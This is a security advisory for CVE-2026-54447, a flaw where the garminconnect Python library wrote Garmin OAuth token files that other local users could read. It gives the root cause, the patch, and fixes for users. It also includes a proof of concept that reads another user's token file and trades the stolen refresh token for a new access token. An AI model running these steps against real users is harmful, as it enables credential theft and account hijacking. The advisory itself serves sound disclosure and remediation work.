high · 8.4CVE-2026-54447Jul 15, 2026

CVE-2026-54447: garminconnect World-Readable OAuth Token File

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The garminconnect Python library wrote Garmin OAuth tokens to disk without restricting file permissions, letting any local user on a shared machine read the token file and hijack the victim's Garmin…

Packagegarminconnect
Ecosystempip
Affected<= 0.3.4
Fixed in0.3.5

The problem

garminconnect versions up to and including 0.3.4 persisted OAuth tokens via Client.dump(), which called Path.mkdir() and Path.write_text() with no explicit mode argument.

Under the default Linux umask of 022, this produced a token directory at 0o755 and garmin_tokens.json at 0o644, both world-readable. The file serializes di_token, di_refresh_token, and di_client_id. Any unprivileged local user could open and read it without any elevated access.

Proof of concept

A working proof-of-concept for CVE-2026-54447 in garminconnect, with the exact payload below.

python
# On a shared host, an unprivileged second user can read the victim's token file directly:
cat /home/victim/.garminconnect/garmin_tokens.json

# The file is world-readable (0o644) under umask 022:
# -rw-r--r-- 1 victim victim ... garmin_tokens.json
#
# Extracted refresh token can then be exchanged for fresh access tokens:
import json, requests

tokens = json.load(open("/home/victim/.garminconnect/garmin_tokens.json"))
refresh_token = tokens["di_refresh_token"]
client_id    = tokens["di_client_id"]

resp = requests.post(
    "https://diauth.garmin.com/api/v1/oauth2/token",
    data={
        "grant_type":    "refresh_token",
        "refresh_token": refresh_token,
        "client_id":     client_id,
    },
)
print(resp.json())  # returns a fresh access_token

The root cause (CWE-732) is that Path.mkdir() and Path.write_text() both inherit permissions from the process umask. No mode= argument was passed, so the umask of 022 produced group- and world-readable results.

The patch (commit 77a3837) explicitly passes mode=0o700 to mkdir(), then opens the token file with os.open(..., O_WRONLY|O_CREAT|O_TRUNC|O_NOFOLLOW, 0o600) so the kernel creates it at 0o600 before any data is written. A defensive p.chmod(0o600) also tightens any pre-existing loose file on the next write.

The O_NOFOLLOW flag closes a secondary symlink-race vector where an attacker could pre-place a symlink at the token path to redirect the write to an arbitrary file.

The fix

Upgrade to garminconnect >= 0.3.5:

``bash pip install --upgrade garminconnect ``

Upgrading only tightens permissions on the NEXT write. Fix any token file already on disk immediately:

``bash chmod 700 ~/.garminconnect chmod 600 ~/.garminconnect/garmin_tokens.json ``

If the file was exposed on a shared host, treat the refresh token as compromised. Delete the token store and re-authenticate to mint a fresh token, then consider revoking the old one via Garmin's account settings.

Reported by EQSTLab.

References: [1][2][3][4][5]

Related research